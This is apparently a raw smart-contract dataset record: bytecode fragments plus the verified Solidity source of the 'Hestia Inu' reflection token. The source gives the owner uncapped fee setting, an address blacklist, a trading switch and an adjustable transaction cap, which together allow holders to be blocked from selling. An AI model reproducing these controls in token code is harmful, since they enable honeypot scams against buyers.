060010190602001808311610c5057829003601f168201915b505050505081565b6117576126d1565b61175f6126d1565b6006546000908190640100000000900461ffff166040518059106117805750595b908082528060200260200182016040525b509250600091505b600654640100000000900461ffff1682101561182a5760078261640081106117bd57fe5b600691828204019190066005025b9054906101000a900460d860020a0290506110b4600082600160d860020a031916600160d860020a03191681526020019081526020016000206001015483838151811061181457fe5b602090810290910101525b600190910190611799565b8293505b50505090565b600160d860020a0319811660009081526110b460205260408120805490919060ff16151561186157600080fd5b815433600160a060020a039081166601000000000000909204161461188557600080fd5b506001810154608060405190810160409081526000808352600160d860020a031986166020808501829052838501839052606085018390529082526110b49052208151815460ff19169015151781556020820151815460d860020a9091046101000265ffffffffff001990911617815560408201518154600160a060020a0391909116660100000000000002600080516020612743833981519152909116178155606082015160019091015550600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561196357600080fd5b600160d860020a031983167fdd2c4d3d509ed991f38f011d74ba4029a438713394421a31d518d31bd099845660405160405180910390a25b505050565b60005433600160a060020a0390811661010090920416146119c057600080fd5b60005b60005460ff1660038111156119d457fe5b146119de57600080fd5b600080546001919060ff19168280610ccd565b02179055505b5b5b565b611a03612719565b6000805481908190819033600160a060020a039081166101009092041614611a2a57600080fd5b60035b60005460ff166003811115611a3e57fe5b1480611a5b575060025b60005460ff166003811115611a5957fe5b145b1515611a6657600080fd5b60065460006201000090910461ffff1611611a8057600080fd5b60065460109062010000900461ffff165b0460110361ffff16670429d069189e00000267ffffffffffffffff169350600092505b60108360ff161015611cf357505060065462010000900461ffff9081166101000390811660d860020a02600160d860020a0319166301000000027fff00000ca700000000000000000000000000000000000000000000000000000017808560ff851660108110611b2057fe5b600160d860020a031992909216602090920201526006548190600790640100000000900461ffff166164008110611b5357fe5b600691828204019190066005025b815464ffffffffff6101009290920a918202191660d860020a9093040291909117905560068054600080526110b76020527f8b7b0506e1df5a8448d8eb7314d5008da63b5b23c742acc1ca2fe9008ea3c9988054600190810190915563ffff00001965ffff000000001983166401000000009384900461ffff908116909301831690930292909217918216620100009283900482166000190190911690910217905560a0604051908101604090815260018252600160d860020a031983166020808401829052600080546101009004600160a060020a03168486015260608501899052608085018190529182526110b39052208151815460ff19169015151781556020820151815460d860020a9091046101000265ffffffffff001990911617815560408201518154600160a060020a03919091166601000000000000026000805160206127438339815191529091161781556060820151816001015560808201516002919091018054600160a060020a031916600160a060020a03909216919091179055505b600190920191611ab4565b7fb18efff3589e0e6e1f1fdd8be3f2d2250429a242997d2a6ac3aa6f7ef1296ca985604051808261020080838360005b83811015611d3c5780820151818401525b602001611d23565b5050505090500191505060405180910390a15b5b5b5050505050565b600160d860020a0319831660009081526110b66020526040902054839033600160a060020a03908116911614611d8d57600080fd5b8180600160a060020a031633600160a060020a031614151515611daf57600080fd5b60a0604051908101604090815260018252600160d860020a031987166020808401829052600160a060020a0333811684860152606085018990528716608085015260009182526110b39052208151815460ff19169015151781556020820151815460d860020a9091046101000265ffffffffff001990911617815560408201518154600160a060020a03919091166601000000000000026000805160206127438339815191529091161781556060820151816001015560808201516002919091018054600160a060020a031916600160a060020a0392831617905584169050600160d860020a031986167f175ebfc78c5d74e638bd7454214416a2a42d10527412f91ac6f2e693ce4344b88660405190815260200160405180910390a35b5b505b50505050565b6110b25481565b6001547001000000000000000000000000000000000281565b6110b4602052600090815260409020805460019091015460ff821691610100810460d860020a02916601000000000000909104600160a060020a03169084565b600160d860020a0319811660009081526110b6602052604081205481908190849033600160a060020a03908116911614611f6f57600080fd5b600160d860020a0319851660009081526110b460205260409020805490945060ff161515611f9c57600080fd5b835460018501546601000000000000909104600160a060020a031693509150608060405190810160409081526000808352600160d860020a031988166020808501829052838501839052606085018390529082526110b49052208151815460ff19169015151781556020820151815460d860020a9091046101000265ffffffffff001990911617815560408201518154600160a060020a0391909116660100000000000002600080516020612743833981519152909116178155606082015160019091015550611d4f853385856123ea565b5b5b5050505050565b61207f6126d1565b6120876126d1565b6006546000908190640100000000900461ffff166040518059106120a85750595b908082528060200260200182016040525b509250600091505b600654640100000000900461ffff1682101561182a5760078261640081106120e557fe5b600691828204019190066005025b90546101009190910a900460d860020a02600160d860020a0319811660009081526110b3602052604090205490915060ff1680156121555750600160d860020a0319811660009081526110b36020526040902060020154600160a060020a0316155b1561218f57600160d860020a0319811660009081526110b3602052604090206001015483838151811061218457fe5b602090810290910101525b5b6001909101906120c1565b8293505b50505090565b600160d860020a0319811660009081526110b66020526040812054600160a060020a039081169033168114156121da57600080fd5b600160d860020a0319831660009081526110b66020526040902054600160a060020a0316151561220957600080fd5b600160d860020a0319831660009081526110b4602052604081209250341161223057600080fd5b6001820154341161224057600080fd5b60008260010154111561227e576001820154825466010000000000009004600160a060020a031660009081526110b860205260409020805490910190555b6080604051908101604090815260018252600160d860020a031985166020808401829052600160a060020a0333168385015234606085015260009182526110b49052208151815460ff19169015151781556020820151815460d860020a9091046101000265ffffffffff001990911617815560408201518154600160a060020a0391909116660100000000000002600080516020612743833981519152909116178155606082015160019091015550600160a060020a033316600160d860020a031984167f0beedbd4ef5e50660fe5cf7b1274e5d826c6e496020c760b9509e1f21f6962303460405190815260200160405180910390a35b5b505050565b600654640100000000900461ffff1681565b6110b86020526000908152604090205481565b600160d860020a0319821660009081526110b66020526040902054829033600160a060020a039081169116146123d657600080fd5b610bd183338460006123ea565b5b5b505050565b600160d860020a0319841660009081526110b6602090815260408083208054600160a060020a031916600160a060020a0387811691821790925590871684526110b790925280832080546000190190559082528082208054600101905560a0905190810160409081526000808352600160d860020a03198816602080850182905283850183905260608501839052608085018390529082526110b39052208151815460ff19169015151781556020820151815460d860020a9091046101000265ffffffffff001990911617815560408201518154600160a060020a039190911666010000000000000260008051602061274383398151915290911617815560608201518160010155608082015160029091018054600160a060020a03928316600160a060020a0319909116179055600160d860020a0319871660009081526110b46020526040902080549093506601000000000000900481169085161415905061261d576001810154600160a060020a03841660009081526110b860205260409081902080549092019091556080905190810160409081526000808352600160d860020a031988166020808501829052838501839052606085018390529082526110b49052208151815460ff19169015151781556020820151815460d860020a9091046101000265ffffffffff001990911617815560408201518154600160a060020a03919091166601000000000000026000805160206127438339815191529091161781556060820151600190910155505b600160a060020a0380851660008181526110b8602052604090819020805486019055918516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906001905190815260200160405180910390a382600160a060020a031684600160a060020a031686600160d860020a0319167f1d9becf52be84ecb1e1e8de532c6cea871c0903fdcc9675123ca5c3c2cb436258560405190815260200160405180910390a45b5050505050565b60206040519081016040526000815290565b60206040519081016040526000815290565b60206040519081016040526000815290565b60206040519081016040526000815290565b6102006040519081016040526010815b60008152600019909101906020018161272957905050905600ffffffffffff0000000000000000000000000000000000000000ffffffffffffa165627a7a72305820a4e578d3d7c9a384b5985a5957dd2477a19f9d32052121927063bf9f549c60320029
{"success": true, "error": null, "results": {}}
2,756
0x375b917b40005bbde97ef1bb122854e6bbeb2c84
/** *Submitted for verification at Etherscan.io on 2021-12-31 */ // Telegram: https://t.me/HestiaInu // Website: www.hestiainu.online // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HestiaInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Hestia Inu"; string private constant _symbol = "Hestia"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _distroFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 5; //Sell Fee uint256 private _distroFeeOnSell = 2; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _distroFee = _distroFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousDistroFee = _distroFee; uint256 private _previousTaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0x4913848420f67a05a6eDc5FF65f872BD574F64a7); address payable private _devAddress = payable(0x4913848420f67a05a6eDc5FF65f872BD574F64a7); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 100000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_devAddress] = true; bots[address(0x00000000000000000000000000000000001)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_distroFee == 0 && _taxFee == 0) return; _previousDistroFee = _distroFee; _previousTaxFee = _taxFee; _distroFee = 0; _taxFee = 0; } function restoreAllFee() private { _distroFee = _previousDistroFee; _taxFee = _previousTaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _distroFee = _distroFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _distroFee = _distroFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount.div(9).mul(8)); _devAddress.transfer(amount.div(9).mul(1)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _distroFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 distroFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(distroFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _distroFeeOnBuy = distroFeeOnBuy; _distroFeeOnSell = distroFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set Max transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } }
0x60806040526004361061019f5760003560e01c8063715018a6116100ec57806398a5c3151161008a578063bfd7928411610064578063bfd79284146104b4578063c3c8cd80146104e4578063dd62ed3e146104f9578063ea1644d51461053f57600080fd5b806398a5c31514610454578063a2a957bb14610474578063a9059cbb1461049457600080fd5b80638da5cb5b116100c65780638da5cb5b146103d15780638f70ccf7146103ef5780638f9a55c01461040f57806395d89b411461042557600080fd5b8063715018a61461038657806374010ece1461039b5780637d1db4a5146103bb57600080fd5b80632fd689e3116101595780636b999053116101335780636b999053146103115780636d8aa8f8146103315780636fc3eaec1461035157806370a082311461036657600080fd5b80632fd689e3146102bf578063313ce567146102d557806349bd5a5e146102f157600080fd5b8062b8cf2a146101ab57806306fdde03146101cd578063095ea7b3146102125780631694505e1461024257806318160ddd1461027a57806323b872dd1461029f57600080fd5b366101a657005b600080fd5b3480156101b757600080fd5b506101cb6101c6366004611690565b61055f565b005b3480156101d957600080fd5b5060408051808201909152600a81526948657374696120496e7560b01b60208201525b6040516102099190611755565b60405180910390f35b34801561021e57600080fd5b5061023261022d3660046117aa565b6105fe565b6040519015158152602001610209565b34801561024e57600080fd5b50601454610262906001600160a01b031681565b6040516001600160a01b039091168152602001610209565b34801561028657600080fd5b50670de0b6b3a76400005b604051908152602001610209565b3480156102ab57600080fd5b506102326102ba3660046117d6565b610615565b3480156102cb57600080fd5b5061029160185481565b3480156102e157600080fd5b5060405160098152602001610209565b3480156102fd57600080fd5b50601554610262906001600160a01b031681565b34801561031d57600080fd5b506101cb61032c366004611817565b61067e565b34801561033d57600080fd5b506101cb61034c366004611834565b6106c9565b34801561035d57600080fd5b506101cb610711565b34801561037257600080fd5b50610291610381366004611817565b61073e565b34801561039257600080fd5b506101cb610760565b3480156103a757600080fd5b506101cb6103b6366004611856565b6107d4565b3480156103c757600080fd5b5061029160165481565b3480156103dd57600080fd5b506000546001600160a01b0316610262565b3480156103fb57600080fd5b506101cb61040a366004611834565b610803565b34801561041b57600080fd5b5061029160175481565b34801561043157600080fd5b5060408051808201909152600681526548657374696160d01b60208201526101fc565b34801561046057600080fd5b506101cb61046f366004611856565b61084b565b34801561048057600080fd5b506101cb61048f36600461186f565b61087a565b3480156104a057600080fd5b506102326104af3660046117aa565b6108b8565b3480156104c057600080fd5b506102326104cf366004611817565b60106020526000908152604090205460ff1681565b3480156104f057600080fd5b506101cb6108c5565b34801561050557600080fd5b506102916105143660046118a1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054b57600080fd5b506101cb61055a366004611856565b6108fb565b6000546001600160a01b031633146105925760405162461bcd60e51b8152600401610589906118da565b60405180910390fd5b60005b81518110156105fa576001601060008484815181106105b6576105b661190f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f28161193b565b915050610595565b5050565b600061060b33848461092a565b5060015b92915050565b6000610622848484610a4e565b610674843361066f85604051806060016040528060288152602001611a55602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ec3565b61092a565b5060019392505050565b6000546001600160a01b031633146106a85760405162461bcd60e51b8152600401610589906118da565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146106f35760405162461bcd60e51b8152600401610589906118da565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461073157600080fd5b4761073b81610efd565b50565b6001600160a01b03811660009081526002602052604081205461060f90610f92565b6000546001600160a01b0316331461078a5760405162461bcd60e51b8152600401610589906118da565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107fe5760405162461bcd60e51b8152600401610589906118da565b601655565b6000546001600160a01b0316331461082d5760405162461bcd60e51b8152600401610589906118da565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108755760405162461bcd60e51b8152600401610589906118da565b601855565b6000546001600160a01b031633146108a45760405162461bcd60e51b8152600401610589906118da565b600893909355600a91909155600955600b55565b600061060b338484610a4e565b6012546001600160a01b0316336001600160a01b0316146108e557600080fd5b60006108f03061073e565b905061073b81611016565b6000546001600160a01b031633146109255760405162461bcd60e51b8152600401610589906118da565b601755565b6001600160a01b03831661098c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610589565b6001600160a01b0382166109ed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610589565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610589565b6001600160a01b038216610b145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610589565b60008111610b765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610589565b6000546001600160a01b03848116911614801590610ba257506000546001600160a01b03838116911614155b15610db657601554600160a01b900460ff16610c0a57601654811115610c0a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610589565b6001600160a01b03831660009081526010602052604090205460ff16158015610c4c57506001600160a01b03821660009081526010602052604090205460ff16155b610ca45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610589565b6015546001600160a01b03838116911614610d295760175481610cc68461073e565b610cd09190611956565b10610d295760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610589565b6000610d343061073e565b601854601654919250821015908210610d4d5760165491505b808015610d645750601554600160a81b900460ff16155b8015610d7e57506015546001600160a01b03868116911614155b8015610d935750601554600160b01b900460ff165b15610db357610da182611016565b478015610db157610db147610efd565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610df857506001600160a01b03831660009081526005602052604090205460ff165b80610e2a57506015546001600160a01b03858116911614801590610e2a57506015546001600160a01b03848116911614155b15610e3757506000610eb1565b6015546001600160a01b038581169116148015610e6257506014546001600160a01b03848116911614155b15610e7457600854600c55600954600d555b6015546001600160a01b038481169116148015610e9f57506014546001600160a01b03858116911614155b15610eb157600a54600c55600b54600d555b610ebd8484848461119f565b50505050565b60008184841115610ee75760405162461bcd60e51b81526004016105899190611755565b506000610ef4848661196e565b95945050505050565b6012546001600160a01b03166108fc610f226008610f1c8560096111cd565b9061120f565b6040518115909202916000818181858888f19350505050158015610f4a573d6000803e3d6000fd5b506013546001600160a01b03166108fc610f6a6001610f1c8560096111cd565b6040518115909202916000818181858888f193505050501580156105fa573d6000803e3d6000fd5b6000600654821115610ff95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610589565b600061100361128e565b905061100f83826111cd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061105e5761105e61190f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110b257600080fd5b505afa1580156110c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ea9190611985565b816001815181106110fd576110fd61190f565b6001600160a01b039283166020918202929092010152601454611123913091168461092a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061115c9085906000908690309042906004016119a2565b600060405180830381600087803b15801561117657600080fd5b505af115801561118a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806111ac576111ac6112b1565b6111b78484846112df565b80610ebd57610ebd600e54600c55600f54600d55565b600061100f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d6565b60008261121e5750600061060f565b600061122a8385611a13565b9050826112378583611a32565b1461100f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610589565b600080600061129b611404565b90925090506112aa82826111cd565b9250505090565b600c541580156112c15750600d54155b156112c857565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806112f187611444565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061132390876114a1565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135290866114e3565b6001600160a01b03891660009081526002602052604090205561137481611542565b61137e848361158c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113c391815260200190565b60405180910390a3505050505050505050565b600081836113f75760405162461bcd60e51b81526004016105899190611755565b506000610ef48486611a32565b6006546000908190670de0b6b3a764000061141f82826111cd565b82101561143b57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114618a600c54600d546115b0565b925092509250600061147161128e565b905060008060006114848e878787611605565b919e509c509a509598509396509194505050505091939550919395565b600061100f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ec3565b6000806114f08385611956565b90508381101561100f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610589565b600061154c61128e565b9050600061155a838361120f565b3060009081526002602052604090205490915061157790826114e3565b30600090815260026020526040902055505050565b60065461159990836114a1565b6006556007546115a990826114e3565b6007555050565b60008080806115ca60646115c4898961120f565b906111cd565b905060006115dd60646115c48a8961120f565b905060006115f5826115ef8b866114a1565b906114a1565b9992985090965090945050505050565b6000808080611614888661120f565b90506000611622888761120f565b90506000611630888861120f565b90506000611642826115ef86866114a1565b939b939a50919850919650505050505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461073b57600080fd5b803561168b8161166b565b919050565b600060208083850312156116a357600080fd5b823567ffffffffffffffff808211156116bb57600080fd5b818501915085601f8301126116cf57600080fd5b8135818111156116e1576116e1611655565b8060051b604051601f19603f8301168101818110858211171561170657611706611655565b60405291825284820192508381018501918883111561172457600080fd5b938501935b828510156117495761173a85611680565b84529385019392850192611729565b98975050505050505050565b600060208083528351808285015260005b8181101561178257858101830151858201604001528201611766565b81811115611794576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156117bd57600080fd5b82356117c88161166b565b946020939093013593505050565b6000806000606084860312156117eb57600080fd5b83356117f68161166b565b925060208401356118068161166b565b929592945050506040919091013590565b60006020828403121561182957600080fd5b813561100f8161166b565b60006020828403121561184657600080fd5b8135801515811461100f57600080fd5b60006020828403121561186857600080fd5b5035919050565b6000806000806080858703121561188557600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156118b457600080fd5b82356118bf8161166b565b915060208301356118cf8161166b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561194f5761194f611925565b5060010190565b6000821982111561196957611969611925565b500190565b60008282101561198057611980611925565b500390565b60006020828403121561199757600080fd5b815161100f8161166b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f25784516001600160a01b0316835293830193918301916001016119cd565b50506001600160a01b039690961660608501525050